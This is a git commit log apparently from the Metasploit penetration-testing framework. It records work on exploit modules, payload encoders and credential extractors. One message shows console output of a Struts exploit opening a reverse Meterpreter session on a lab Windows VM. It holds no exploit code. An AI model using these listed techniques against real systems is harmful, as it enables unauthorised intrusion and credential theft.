Revert "test: chooses x86/call4_dword_xor => x86/xor_dynamic"
...
This reverts commit 7516be4147 .
2018-09-03 22:52:55 +02:00
James Barnett
c8f57435df
Land #10550 , update msfdb to persist https data service
2018-09-03 11:21:42 -05:00
Tim W
d5e78ab66f
Land #10437 , sync some linux local libraries to solaris
2018-09-03 22:46:50 +08:00
Matthew Kienow
34f87efb2b
Land #10532 , enhance db_connect for data services
2018-09-03 09:43:34 -04:00
James Barnett
1c8a2f3ee1
Raise an error when http service fails to connect
...
Also fix a bug where failed Postgres connections werent being raised
2018-09-02 15:51:13 -05:00
Wei Chen
180c697684
Update windows_defender_exe
2018-09-02 13:10:11 -05:00
Tim W
c4ebf7b4f3
add meterpreter chmod command
2018-09-01 23:52:31 +08:00
Matthew Kienow
14f2907d73
Update to handle new db_connect format
2018-08-31 23:12:23 -04:00
phra
7516be4147
test: chooses x86/call4_dword_xor => x86/xor_dynamic
2018-09-01 03:34:50 +02:00
phra
16f2cd6910
test: add x86/xor_dynamic badchars test
2018-09-01 03:17:18 +02:00
stefano118
1ddd22d073
bug fix and improvements
2018-09-01 03:17:18 +02:00
stefano118
2ba53143f1
refactor: optimized stub
...
refactor: optimized stub
refactor: optimized stub
2018-09-01 03:17:17 +02:00
stefano118
6c1a83d464
refactor: snake case
2018-09-01 03:17:17 +02:00
stefano118
27d7d17deb
refactor: beautify stub
...
refactor: beautify stub
refactor: beautify stub
refactor: beautify stub
2018-09-01 03:17:16 +02:00
phra
6b32bdbba9
feat: add x86 xor_dynamic encoder
2018-09-01 03:17:16 +02:00
phra
3b04e8e569
feat: add x64 xor_dynamic encoder
2018-09-01 03:17:15 +02:00
stefano118
93e9253aeb
Update countdown.rb
2018-09-01 02:40:26 +02:00
James Barnett
b4c731d4ca
Check name validity at a higher level
2018-08-31 18:16:32 -05:00
bwatters-r7
8474c331fc
Land #10571 , Bump metasploit payloads to 1.3.47
...
Merge branch 'land-10571' into upstream-master
2018-08-31 18:03:10 -05:00
BrianWGray
b8687d501c
msftidy corrections
2018-08-31 18:55:20 -04:00
bwatters-r7
4d04161556
Bump metasploit payloads to 1.3.47
2018-08-31 17:47:02 -05:00
Erin Bleiweiss
e243ce9eee
Update AKA for ghostscript_type_confusion
2018-08-31 16:56:35 -05:00
Erin Bleiweiss
5092d561f9
Update AKA values for ms17_010_psexec
2018-08-31 16:56:28 -05:00
Erin Bleiweiss
69a785ff46
Update json for python modules
2018-08-31 16:56:22 -05:00
Erin Bleiweiss
eb17d9b198
Refactor AKA references for modules
2018-08-31 16:56:05 -05:00
Erin Bleiweiss
5c7f59e2f9
Remove AKA formatters from references
2018-08-31 16:54:16 -05:00
Erin Bleiweiss
420041f287
Don't refer to AKA as 'alias' in order to not overlap nomenclature with upcoming 'alias' feature
2018-08-31 16:54:07 -05:00
Erin Bleiweiss
b1479ec350
Update swagger docs to be compliant with new notes field
2018-08-31 16:53:59 -05:00
Erin Bleiweiss
e753eddb6b
Ignore 'No CVE' warning if NOCVE reason was provided in notes
2018-08-31 16:53:44 -05:00
Erin Bleiweiss
e5106b54db
Add AKA info to module info
2018-08-31 16:52:26 -05:00
Erin Bleiweiss
e10d9c5d67
Update module search to search aka names
2018-08-31 16:52:17 -05:00
Erin Bleiweiss
3f9e19c6af
Restructure Notes into NotesContainer object
2018-08-31 16:51:59 -05:00
Erin Bleiweiss
f61ed95ebe
Add default value for notes
2018-08-31 16:50:23 -05:00
Erin Bleiweiss
3c115f1bfc
Update json parsing rules for external modules
2018-08-31 16:48:56 -05:00
James Barnett
084607b955
Set current_data_service when disconnecting from http
2018-08-31 16:48:33 -05:00
Erin Bleiweiss
659e4f2b34
Build json correctly for new notes field
2018-08-31 16:47:00 -05:00
James Barnett
185fe56e82
Add message when connecting via yaml
2018-08-31 16:13:17 -05:00
James Barnett
a413b27e57
Fix bug connecting to https servers
2018-08-31 15:49:29 -05:00
Brent Cook
85a857d115
Land #10567 , Bump kiwi version
2018-08-31 15:25:40 -05:00
Wei Chen
b976ccd3fe
Fix typos
2018-08-31 14:53:52 -05:00
Wei Chen
34944ff5be
Land #10568 , Update weblogic module docs
2018-08-31 14:05:46 -05:00
asoto-r7
da7a29f715
Documentation update
2018-08-31 13:57:41 -05:00
Metasploit
21f2b5e298
automatic module_metadata_base.json update
2018-08-31 11:55:00 -07:00
asoto-r7
8fe8bf62e3
Renamed to match existing struts2_content_type_ognl and improved comments
2018-08-31 13:48:22 -05:00
Wei Chen
0dea5fcfd9
Land #10565 , Add Dolibarr ERP/CRM Auxiliary Module
2018-08-31 13:47:46 -05:00
asoto-r7
35022d8332
Added payload upload+execution and OGNL-specific URI encoding
2018-08-31 13:39:42 -05:00
Wei Chen
bcaa6e90f6
Fix targeting
2018-08-31 13:37:23 -05:00
James Barnett
1e6f19e1de
Update db_save message when no valid service connected
...
Also add the current data service name to db_status
2018-08-31 12:54:08 -05:00
Wei Chen
f296c204cb
Add some comments
2018-08-31 11:55:50 -05:00
Wei Chen
5c6b33bcf4
Add support for evasion targets, also module doc
2018-08-31 11:45:29 -05:00
James Barnett
bc4a0345dc
Fix bug preventing yaml connections
2018-08-31 11:26:08 -05:00
Shelby Pace
aa9d0d7c6c
using uri_encode
2018-08-31 08:41:25 -05:00
Shelby Pace
b1151b9d12
modified login_uri
2018-08-31 08:08:46 -05:00
Jacob Robles
e49435a766
Update weblogic module docs
...
Update the module docs to match the new name
of the module.
2018-08-31 06:00:41 -05:00
OJ
41b0dc1dfe
Update label for the kiwi extention to match latest ver
...
I'll also update this PR with the udpated binaries when the paylaods
repo has landed https://github.com/rapid7/metasploit-payloads/pull/298
2018-08-31 09:31:57 +10:00
James Barnett
6ddf4f4c22
Refactor db_connect for updated usage
...
db_connect will now automatically save the data service it connects to
db_save will be used to set the current data service as default
add a db_remove command to delete a saved data service
2018-08-30 18:19:14 -05:00
Metasploit
cb026f9f82
automatic module_metadata_base.json update
2018-08-30 14:06:54 -07:00
William Vu
b9c9064c22
Land #10566 , struts2_rest_xstream normalize_uri
2018-08-30 15:59:13 -05:00
William Vu
7c7f63df45
Fix missing normalize_uri in struts2_rest_xstream
...
I missed this one previously. May not be necessary but nice to have.
2018-08-30 15:56:43 -05:00
Shelby Pace
628ea736a0
delete newline
2018-08-30 15:54:04 -05:00
Shelby Pace
d0cc05b074
added documentation
2018-08-30 15:28:52 -05:00
Shelby Pace
42af28a86a
printing and storing credentials
2018-08-30 14:17:37 -05:00
Shelby Pace
85c4abac99
storing credentials
2018-08-30 13:59:00 -05:00
Metasploit
acca079cd1
automatic module_metadata_base.json update
2018-08-30 10:25:18 -07:00
Shelby Pace
a9376266bc
Land #10484 , Add PhpMyAdmin password extractor
2018-08-30 12:16:17 -05:00
Shelby Pace
924e61c5c1
Added check and removed register_options
2018-08-30 12:13:39 -05:00
Metasploit
f8c4471900
Weekly dependency update
2018-08-30 10:05:23 -07:00
7echSec
540e2699a6
Adding unmarshalpwn.exe
2018-08-30 21:31:14 +05:30
7echSec
8b02d2620c
Adding support files
2018-08-30 21:30:28 +05:30
7echSec
d365001ddd
Adding support files.
2018-08-30 21:29:45 +05:30
Metasploit
6ba9307a61
automatic module_metadata_base.json update
2018-08-30 08:55:58 -07:00
Shelby Pace
6ec8522786
Land #10482 , Add Network Manager VPNC Privesc
2018-08-30 10:46:54 -05:00
7echSec
9f13d0fc56
Adding documentation
...
As there was no escalate folder I have created one to maintain my documentation, kindly suggest if any issues.
2018-08-30 21:13:33 +05:30
7echSec
0aac9a4881
unmarshal
2018-08-30 20:49:09 +05:30
Wang Yihang
a83e63516e
[+] Modify script permission in case of TOCTOU
2018-08-30 10:25:27 -04:00
Wang Yihang
e6140bc78c
Merge branch 'upstream-master' into add-source-meta-command
2018-08-30 10:17:29 -04:00
Metasploit
ad4266fb4e
automatic module_metadata_base.json update
2018-08-30 04:20:03 -07:00
Jacob Robles
9d3e1c1942
Land #10540 , weblogic_deserialize, add check method and linux target
2018-08-30 06:08:03 -05:00
Metasploit
bb8f3bb5d4
automatic module_metadata_base.json update
2018-08-30 04:04:38 -07:00
Jacob Robles
953bafc7e7
Land #10545 , foxit fix generated strings, update doc
2018-08-30 05:55:44 -05:00
egre55
2304c377db
Add IIS ShortName Scanner module
2018-08-30 08:46:22 +00:00
Austin
0887236f5e
Fix spaces issue
2018-08-29 19:28:48 -04:00
phra
a282d2a8b1
fix: rescue rex runtime errors in x86/nonalpha
2018-08-30 01:22:24 +02:00
phra
2616472025
fix: rescue rex runtime errors in x86/countdown
2018-08-30 01:22:24 +02:00
Matthew Kienow
5a14974f78
Prompt user to persist data service connection
2018-08-29 18:11:42 -04:00
Matthew Kienow
d32297871a
Update data_services cmd to new db_connect cmd
2018-08-29 18:11:42 -04:00
Matthew Kienow
f8bef79ba5
Add environment variable hash for cmd being run
...
Convert input to keyword argument
2018-08-29 18:11:31 -04:00
Clément Notin
d489cd7248
ms17_010_eternalblue: use SMBDomain value when provided instead of ignoring it
2018-08-29 23:53:58 +02:00
Wei Chen
ea41127c6e
Support info command
2018-08-29 16:24:23 -05:00
Jacob Robles
3161beff69
Prefer opt hash
2018-08-29 14:56:31 -05:00
Josh Hale
71a7ca4d7d
Use env(1) instead of export
2018-08-29 14:51:20 -05:00
Metasploit
d747613149
automatic module_metadata_base.json update
2018-08-29 12:41:29 -07:00
Adam Cammack
a57e5ac5c0
Land #10594 , Remove trailing space from CVE number
2018-08-29 14:31:21 -05:00
bwatters-r7
5ec2bc061e
Land # 10548, fix Gemfile.lock
...
Merge branch 'land-10548' into upstream-master
2018-08-29 14:28:52 -05:00
Jacob Robles
bc4442694e
Fix Windows target options, remove comspec
2018-08-29 14:23:00 -05:00
James Barnett
1c24dabdb1
Update test for text changes
2018-08-29 14:13:35 -05:00
Ben Schmeckpeper
c4d697a629
Remove trailing space from CVE identifier
...
ASUS Net4Switch ipswcom exploit mistakenly included a trailing space at the end of its CVE reference.
2018-08-29 14:12:49 -05:00
Shelby Pace
7915c4ac6c
getting user credentials in response
2018-08-29 13:59:06 -05:00
James Barnett
d6d9f9c675
Handle case for no connection for save and disconnect
2018-08-29 13:54:20 -05:00
Wei Chen
b085633e49
Style change and move option to evasion.rb
2018-08-29 13:39:29 -05:00
bwatters-r7
0885bc478c
fix gemfile
2018-08-29 13:04:07 -05:00
James Barnett
133892629e
Dont allow invalid config file characters
...
Also only save cert when it is present
2018-08-29 12:49:03 -05:00
Dhiraj Mishra
25145004b2
Removing arch
2018-08-29 22:05:57 +05:30
James Barnett
f7ecd4436d
Even more messaging changes
2018-08-29 11:32:01 -05:00
Metasploit
b5b06f0fb0
automatic module_metadata_base.json update
2018-08-29 09:24:52 -07:00
James Barnett
65f38d6051
More messaging changes
2018-08-29 11:19:37 -05:00
William Vu
468613f688
Land #10536 , https:// reference check for msftidy
2018-08-29 11:14:42 -05:00
Jacob Robles
d5ad683ba6
More doc updates
2018-08-29 10:59:36 -05:00
Adam Cammack
7414b18f20
Move prompt_char space to correct place
2018-08-29 10:38:28 -05:00
Shelby Pace
bb4a4b8839
initial module setup
2018-08-29 10:28:10 -05:00
Jacob Robles
88c908665d
Update documentation
2018-08-29 06:24:30 -05:00
Jacob Robles
086ec5bdfb
Fix generated strings in pdf
2018-08-29 06:24:20 -05:00
Dhiraj Mishra
c486dab574
Updating
...
Thank you bcoles :)
2018-08-29 11:45:08 +05:30
Metasploit
9b05f76576
automatic module_metadata_base.json update
2018-08-28 22:50:41 -07:00
William Vu
326f006146
Land #10542 , CVE ref for office_ms17_11882 exploit
2018-08-29 00:42:53 -05:00
Christian Mehlmauer
69d321000e
check double quotes
2018-08-29 06:49:37 +02:00
Christian Mehlmauer
31d4d4f5ff
expand check
2018-08-29 06:42:01 +02:00
Christian Mehlmauer
14fa41a376
merge changes
2018-08-29 06:09:40 +02:00
Josh Hale
09926bd184
Better help description and comments
2018-08-28 22:11:32 -05:00
James Barnett
28954dbc1d
More messaging improvements
2018-08-28 17:14:59 -05:00
bwatters-r7
239ea3a3bb
Land #10544 , Update payloads to 1.3.45
...
Merge branch 'land-10544' into upstream-master
2018-08-28 17:05:23 -05:00
James Barnett
cc5d96a441
Update messaging
2018-08-28 17:00:58 -05:00
Metasploit
b28ee033f1
automatic module_metadata_base.json update
2018-08-28 14:58:49 -07:00
asoto-r7
b373dcc5d4
First draft of module and documentation for struts_namespace_rce against CVE-2018-11776
2018-08-28 16:53:26 -05:00
William Vu
ba76292c40
Land #10543 , struts2_rest_xstream targeting fixes
2018-08-28 16:50:26 -05:00
James Barnett
161fb52ae3
Dont build connect string manually during loadup
2018-08-28 16:37:14 -05:00
William Vu
f6b868bac2
Prefer regex for target check in exploit method
...
This is how I initially wrote it out, and I think I like it better.
Obviously we'll still check individual symbols in execute_command, since
some of the matching is disjoint.
2018-08-28 15:56:45 -05:00
James Barnett
52cc140cd2
Handle case where no default db is set
2018-08-28 15:52:26 -05:00
Metasploit
78d906a731
automatic module_metadata_base.json update
2018-08-28 13:42:46 -07:00
Adam Cammack
2958f9a83f
Land #10541 , Correct claymore_dos.py's CVE ref
2018-08-28 15:35:16 -05:00
Metasploit
ddee640442
automatic module_metadata_base.json update
2018-08-28 13:33:26 -07:00
bwatters-r7
cc5f1df9ce
Update payloads
2018-08-28 15:31:35 -05:00
bwatters-r7
1be7f55cae
Land #8983 , Add peinjector post module
...
Merge branch 'land-8983' into upstream-master
2018-08-28 15:25:56 -05:00
William Vu
3dec79da23
Add Windows ARCH_CMD target and refactor again
...
Must have been an oversight that I didn't add the target.
2018-08-28 15:03:41 -05:00
bwatters-r7
f6b0e720e4
Add documentation for peinjector
2018-08-28 14:02:34 -05:00
Ben Schmeckpeper
6335d867ec
Add CVE reference to office_ms17_11882 exploit
...
The CVE identifier appears in a GitHub URI but is not referenced separately.
2018-08-28 13:44:01 -05:00
Ben Schmeckpeper
ed60b767a7
Correct claymore_dos.py's CVE reference
...
The CVE reference shouldn't include the `CVE-` prefix
2018-08-28 13:34:02 -05:00
Jacob Robles
94e8cdac37
Move files to correct location
2018-08-28 12:38:54 -05:00
Jacob Robles
2986a9538d
Whitespace fix
2018-08-28 11:53:08 -05:00
Jacob Robles
49c5a91fa7
Add linux target to weblogic_deserialize module
2018-08-28 11:51:04 -05:00
William Vu
4803c889f9
Land #10507 , GPP creds for db_import
2018-08-28 11:45:51 -05:00
James Barnett
5e45e2f1e9
Add help text for -l and -n options
2018-08-28 11:42:10 -05:00
bwatters-r7
20daba6e2d
fix line endings
2018-08-28 11:33:17 -05:00
AverageSecurityGuy
d21c108adf
Fix syntax error.
2018-08-28 12:00:31 -04:00
James Barnett
3c1086741b
Use correct variable name for api_token
2018-08-28 10:49:50 -05:00
AverageSecurityGuy
44df7939e9
Added docs. Made suggested code changes.
2018-08-28 10:56:05 -04:00
alpiste
562fc09d5d
add new line to the end of the file
2018-08-28 09:02:21 -05:00
alpiste
3a6d72b8b6
some executable files need stack preserve and stack restore, functionality restored
2018-08-28 09:02:21 -05:00
alpiste
ff7baaca13
remove stack preserve and stack restore in x86 shellcode and delete duplicated stack preserve variable in x64 shellcode
2018-08-28 09:02:21 -05:00
bwatters-r7
5a28863b12
Fix Whitespace for Rubocop
2018-08-28 09:02:21 -05:00
bwatters-r7
3ac24abfb2
Remove Extra stackpreserve variable
2018-08-28 09:02:21 -05:00
bwatters-r7
f9148f7864
Update/Add Human-Readable ASM
2018-08-28 09:02:21 -05:00
alpiste
f1e4079641
move add_thread code to lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb
2018-08-28 09:02:21 -05:00
alpiste
55299561b1
Peinjector meterpreter extension interface added
2018-08-28 09:02:21 -05:00
alpiste
015abca8af
MSFTidy module
2018-08-28 09:02:21 -05:00
alpiste
bb151bb727
MSFTidy module
2018-08-28 09:02:21 -05:00
alpiste
ced4ae6f49
MSFTidy module
2018-08-28 09:02:21 -05:00
alpiste
2251c4a712
Add peinjector post module
2018-08-28 09:02:21 -05:00
Jacob Robles
12e9cf6af7
Version output
2018-08-28 08:20:02 -05:00
Jacob Robles
f92d2263d0
Add check to weblogic_deserialize module
2018-08-28 08:09:30 -05:00
Christian Mehlmauer
7431ae401b
fix more errors
2018-08-28 13:49:31 +02:00
Christian Mehlmauer
a66556b436
fix msftidy errors
2018-08-28 13:12:43 +02:00
Metasploit
1d47b7f880
automatic module_metadata_base.json update
2018-08-27 18:48:24 -07:00
William Vu
6d5960a536
Land #10538 , PSH target for struts2_rest_xstream
2018-08-27 20:40:50 -05:00
William Vu
7d21c2094e
Improve PSH target and refactor check code
2018-08-27 20:18:35 -05:00
William Vu
df5f4caaae
Uncomment PSH target in struts2_rest_xstream
...
I'm full of shit. It works.
msf5 exploit(multi/http/struts2_rest_xstream) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Powershell command length: 2467
[*] Sending stage (206403 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49691) at 2018-08-27 20:00:47 -0500
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > sysinfo
Computer : MSEDGEWIN10
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >
2018-08-27 20:01:00 -05:00
Matthew Kienow
9da01723d8
Land #10537 , add windows meterpreter audio output
2018-08-27 16:17:27 -04:00
Matthew Kienow
b80ca9a315
Bump metasploit-payloads to version 1.3.44
2018-08-27 15:49:51 -04:00
Christian Mehlmauer
1381e1f3e0
also check https
2018-08-27 21:44:42 +02:00
AverageSecurityGuy
0ba1d11218
Add FrontPage Credential Dump
2018-08-27 15:02:39 -04:00
Wei Chen
f38d1569b0
Land #10519 , Add msfvenom -l archs like -l platforms
2018-08-27 13:52:50 -05:00
AverageSecurityGuy
4e45100251
Add FrontPage Credential Dump
2018-08-27 14:20:26 -04:00
James Barnett
5b7127c826
Use Rex::Text::Table for outputting data services
2018-08-27 13:18:41 -05:00
Metasploit
68b9243fdc
automatic module_metadata_base.json update
2018-08-27 09:47:26 -07:00
Brent Cook
a5c22cf794
Land #10531 , fix NOP generator for sparc
2018-08-27 11:39:17 -05:00
James Barnett
24cf99f59c
Enable deletion of saved data services
2018-08-27 11:32:19 -05:00
Brent Cook
53b369d702
avoid inserting a float into instruction generation randomly
2018-08-27 11:24:38 -05:00
Metasploit
b2c464d091
automatic module_metadata_base.json update
2018-08-27 08:58:54 -07:00
Brent Cook
47ca6c6a14
Land #10527 , Fix msftdiy EDB link check, enable HTTPS
2018-08-27 10:49:20 -05:00
Metasploit
4c7206972d
automatic module_metadata_base.json update
2018-08-27 04:33:13 -07:00
Jacob Robles
79b3e4564a
Land #10487 , add php5 session file target
2018-08-27 06:22:28 -05:00
Josh Hale
419738a746
Add expect method, -s, and -l
2018-08-26 19:38:19 -05:00
Brendan Coles
9725e90ba7
Fix msftdiy EDB link check
2018-08-26 04:18:38 +00:00
Metasploit
1370b59e66
automatic module_metadata_base.json update
2018-08-25 20:31:52 -07:00
Brent Cook
cb07ba2b6c
Land #10516 , Add brace expansion encoder and update ${IFS} encoder
2018-08-25 22:23:07 -05:00
Brent Cook
969170096a
Land #10520 , Only allow setting persistence on payload jobs
2018-08-25 22:21:46 -05:00
Metasploit
ab9e4a8555
automatic module_metadata_base.json update
2018-08-24 16:18:03 -07:00
William Vu
6df235062b
Land #10505 , post-auth and default creds info
2018-08-24 18:08:15 -05:00
William Vu
cde82b18ab
Land #10379 , tab completion for multiple commands
2018-08-24 18:06:14 -05:00
William Vu
e955e8dc15
Clean up code
...
And hope I didn't break anything.
2018-08-24 18:05:52 -05:00
William Vu
8d6d747aa0
Pluralize arch as archs, not arches
2018-08-24 14:33:36 -05:00
Metasploit
55d8360705
automatic module_metadata_base.json update
2018-08-24 11:26:06 -07:00
Brent Cook
51c024982c
Land #8914 , refactor auxiliary/admin/http credential storage
2018-08-24 13:18:32 -05:00
Brent Cook
0141fc109d
don't backtrace if there is not a response
2018-08-24 13:17:06 -05:00
James Barnett
bb0ec0472b
Enable saving local data services
2018-08-24 12:51:50 -05:00
Metasploit
3f1c237360
automatic module_metadata_base.json update
2018-08-24 09:43:09 -07:00
Brent Cook
d85995f686
Land #10523 , Update Foxit Reader PoC Link
2018-08-24 11:35:57 -05:00
Jacob Robles
f6674a96d9
Update poc link
2018-08-24 10:52:01 -05:00
Chirag Jariwala
332036bb49
Merge pull request #1 from jrobles-r7/pr10487
...
Additional path for Linux target
2018-08-24 18:43:35 +05:30
Jacob Robles
7f3824b067
Additional path for Linux target
2018-08-24 07:18:24 -05:00
Green-m
1dd91434f4
Fix #10518 , bug fix when add persistent to non-payload job.
2018-08-24 03:39:18 -04:00
Metasploit
66baff289e
automatic module_metadata_base.json update
2018-08-23 20:56:03 -07:00
William Vu
672dbb7acb
Land #9364 , HP PJL/SNMP CVE-2017-2741 exploit
...
Finally!
2018-08-23 22:47:09 -05:00
Green-m
6d84d3bfec
Add tabs auto completion for irb.
2018-08-23 23:29:12 -04:00
Green-m
418b574161
Merge branch 'master' and resolve conflict.
2018-08-23 23:24:23 -04:00
William Vu
98aba35b29
Add msfvenom -l arches like -l platforms
2018-08-23 21:54:29 -05:00
William Vu
318ff95dbd
Remove trailing whitespace from netcat payloads
...
This has been bugging me for so long.
2018-08-23 21:33:58 -05:00
William Vu
4ff2c1dbe8
Add brace expansion encoder
2018-08-23 21:33:43 -05:00
William Vu
eeea3356ae
Update ${IFS} encoder
2018-08-23 21:33:42 -05:00
William Vu
7c0dd2a0fe
Add CmdUnixBrace and update CmdUnixIfs
...
Acronyms can be capitalized as per the Ruby style guide.
2018-08-23 21:18:09 -05:00
h00die
8213c21dc9
Land #10467 documentation for postgresql hashdump
2018-08-23 21:35:05 -04:00
h00die
a866bdd09d
slight syntax updates to md
2018-08-23 21:34:48 -04:00
h00die
1585eff29f
Land #10466 docs for postgres_version
2018-08-23 21:10:34 -04:00
h00die
3024725122
slight syntax updates to md
2018-08-23 21:09:52 -04:00
h00die
b8ce6782d9
Land #10517 updated docs for CloudMe Sync
2018-08-23 20:54:01 -04:00
Metasploit
c9d7b7ac0a
automatic module_metadata_base.json update
2018-08-23 17:02:58 -07:00
Wei Chen
2193dd662d
Land #10504 , add Foxit Reader UAF Module and Docs
2018-08-23 18:56:07 -05:00
Shelby Pace
5f9432ed6a
added rca to cloudme doc
2018-08-23 16:12:13 -05:00
Austin
d6949ad792
Add check for SeImpersonatePrivilege
...
Checks for the incurrence of the SeImpersonatePrivilege to be able to successfully exploit
2018-08-23 16:54:22 -04:00
Matthew Kienow
7a534707ab
Add note about unauthenticated telnetd service
2018-08-23 16:16:47 -04:00
Matthew Kienow
ecc6c473d8
Add note about unauthenticated telnetd service
2018-08-23 15:50:41 -04:00
Jacob Robles
7ceae8df58
Remove '.exe' from share name
2018-08-23 14:38:46 -05:00
Matthew Kienow
56433c8ed2
Functional decomposition refactor and cleanup
2018-08-23 15:23:42 -04:00
Matthew Kienow
961769c346
Fix SNMP Null class comparison
2018-08-23 15:23:42 -04:00
Matthew Kienow
9c05f14a70
Modify SNMP null and error handling
2018-08-23 15:23:42 -04:00
Matthew Kienow
934bb38a44
Omit parentheses for no argument method calls
2018-08-23 15:23:41 -04:00
Matthew Kienow
81ec723f5b
Add test for PJL fsdownload from string data
2018-08-23 15:23:41 -04:00
Matthew Kienow
ee6bf7a77c
Fix documentation markdown table format
2018-08-23 15:23:41 -04:00
Matthew Kienow
c5958c6e38
Restore original rport value
2018-08-23 15:23:41 -04:00
Matthew Kienow
70a0b9b1be
Remove payload RequiredCmd and reformat info
2018-08-23 15:23:41 -04:00
Matthew Kienow
18712c25cd
Add uname to module documentation scenario
2018-08-23 15:23:41 -04:00
Matthew Kienow
dafa62dec4
Use string interpolation over concatenation
2018-08-23 15:23:40 -04:00
Matthew Kienow
7c03454a0b
Remove unnecessary explicit msf/core require
2018-08-23 15:23:40 -04:00
Matthew Kienow
77b77287cc
Add module and payload documentation
2018-08-23 15:23:40 -04:00
Matthew Kienow
b1a308f3ae
Remove final debug output
2018-08-23 15:23:40 -04:00
Matthew Kienow
e21ea4180f
Clean up module and payload
...
Update module info, remove intermediate ARCH_ARMLE target, simply
options and add cleanup command so that the payload kills telnetd
2018-08-23 15:23:40 -04:00
Matthew Kienow
81f1555439
Rename module, exploits multiple printer models
2018-08-23 15:23:40 -04:00
Matthew Kienow
df18e354e1
Add bind_busybox_telnetd payload, misc cleanup
2018-08-23 15:23:39 -04:00
Matthew Kienow
c0c3e12c74
WIP - hp officejet pro exploit, enhance PJL lib
2018-08-23 14:53:54 -04:00
James Barnett
724e0dcaf3
Add ability to connect to saved data services
2018-08-22 17:16:27 -05:00
William Vu
9b3e0d8306
Add additional root tags for GPP XML
...
Finally ran through all the samples and cross-referenced with MS14-025.
https://msdn.microsoft.com/en-us/library/cc232650.aspx
https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati
2018-08-22 16:48:33 -05:00
William Vu
2891255549
Clarify what is being imported currently
...
Since the parser is focused on creds.
2018-08-22 15:53:19 -05:00
Metasploit
520ed188e6
automatic module_metadata_base.json update
2018-08-22 12:58:40 -07:00
William Vu
36e35d116d
Land #10510 , full disclosure for CVE-2018-15473
2018-08-22 14:51:05 -05:00
William Vu
578d2375d7
Add full disclosure for CVE-2018-15473
2018-08-22 14:49:13 -05:00
William Vu
1e4eb0eae0
Revert report_note, since it added nothing
...
A bit of misunderstanding. We're in agreement that loot was enough.
2018-08-22 14:34:09 -05:00
William Vu
6fa04950ee
Store parsed GPP data as a note
...
And refactor slightly.
2018-08-22 14:19:50 -05:00
Wang Yihang
29ff1ea952
[+] Add source meta command to execute script remotely
2018-08-22 21:50:40 +08:00
Wang Yihang
8f0a37add6
Merge remote-tracking branch 'upstream/master' into add-resource-meta-shell-command
2018-08-22 21:08:28 +08:00
王一航
03d57545fd
Delete mistakenly submitted file
2018-08-22 19:38:01 +08:00
王一航
e29135d0f5
Merge branch 'master' into impl-of-ctrl-z
2018-08-22 17:31:00 +08:00
William Vu
b1c633faf6
Add Group Policy Preferences support to db_import
...
And take the Jaden Smith approach, as @busterb quipped to me. :)
This one's a little weird, since you normally import scans into
Metasploit, but now that creds are first-class in the database, it makes
more sense to be able to import them.
Currently, your alternatives are post/windows/gather/credentials/gpp,
which requires a session, and auxiliary/scanner/smb/smb_enum_gpp, which
requires a network scan.
2018-08-21 23:44:39 -05:00
James Barnett
68aca395a4
Remove debug logging
2018-08-21 15:06:30 -05:00
James Barnett
57243106f7
Connect to the default database on startup
2018-08-21 14:29:20 -05:00
James Barnett
b6401dbe56
Add db_save command
2018-08-21 11:10:43 -05:00
Mumbai
c18b46ecb5
add delay
2018-08-21 11:29:44 -04:00
Mumbai
46b45f379b
Add documentation for MS16 Reflection DCOM->RPC
2018-08-21 11:27:07 -04:00
Mumbai
48255d6173
add soluition file
2018-08-21 11:07:31 -04:00
Wei Chen
080ba15179
Another boo-boo
2018-08-21 08:55:14 -05:00
Wei Chen
b899839c53
Oops I made boo-boos
2018-08-21 08:53:43 -05:00
Wei Chen
2780ae6ba9
Update false negatives
2018-08-21 08:50:26 -05:00
Jacob Robles
fd6880d0d0
Add Foxit Reader UAF Module and Docs
2018-08-21 08:21:51 -05:00
William Vu
682b0863be
Land #10500 , stack trace fix for jobs -K
2018-08-20 22:27:31 -05:00
William Vu
321f2b8746
Improve file operations
...
Hmm, why did I not use File.write before? Oh well, fixed.
2018-08-20 22:25:19 -05:00
Green-m
808e2f2e25
Fix issue #10499
2018-08-21 03:08:14 +00:00
Green-m
edb85614ff
Make code cleaner
2018-08-21 03:05:44 +00:00
Metasploit
230433cf79
automatic module_metadata_base.json update
2018-08-20 17:36:50 -07:00
William Vu
2fe6bd0e98
Land #10498 , module doc for ssh_enumusers
2018-08-20 19:30:29 -05:00
William Vu
06582a00a0
Add module doc for ssh_enumusers
...
And update description in module.
2018-08-20 19:26:51 -05:00
asoto-r7
bc3b317963
Land #10449 , Implementation of download/upload file in reverse shell
2018-08-20 19:10:26 -05:00
asoto-r7
4aee3a4ae2
Land #10448 , Implementation of CTRL+C to send SIGINT signal
2018-08-20 18:14:29 -05:00
Wei Chen
ad0291e552
Update false negatives
2018-08-20 18:08:19 -05:00
Metasploit
b003fc0273
automatic module_metadata_base.json update
2018-08-20 15:37:28 -07:00
Brent Cook
11fee8fa2c
Land #10471 , Import target DefaultOptions into the datastore
2018-08-20 17:30:27 -05:00
Metasploit
4dac915a35
automatic module_metadata_base.json update
2018-08-20 15:29:45 -07:00
Brent Cook
9ba40cdc9e
Land #10497 , Add Lumpy Space password, whatever.
2018-08-20 17:19:02 -05:00
Brent Cook
d1b8846f12
Land #10479 , Add CVE-2018-15473 to ssh_enumusers
2018-08-20 17:14:58 -05:00
William Vu
819b8504e2
Add a little better randomization
2018-08-20 17:10:14 -05:00
Tod Beardsley
feb4b78227
Add Lumpy Space Princess's password
...
http://adventuretime.wikia.com/wiki/Trouble_in_Lumpy_Space
2018-08-20 16:28:21 -05:00
Tod Beardsley
10d5f32b92
None of these should be executable
2018-08-20 16:25:34 -05:00
William Vu
b38a442bb0
Refactor once more with feeling
...
Also flesh out malformed-packet auth method. Let's not be lazy here. :-)
2018-08-20 16:25:32 -05:00
Wei Chen
01ad152067
Update false negatives on post auth information
2018-08-20 16:05:58 -05:00
Metasploit
bf94a33a7b
automatic module_metadata_base.json update
2018-08-20 14:01:33 -07:00
Brent Cook
484c340520
Land #10491 , fix error generating PPC NOPS
2018-08-20 15:54:17 -05:00
Brent Cook
e8af2dd67c
bool params are truthy, don't cast to a string
2018-08-20 15:53:49 -05:00
Brent Cook
fb2d3bfd4a
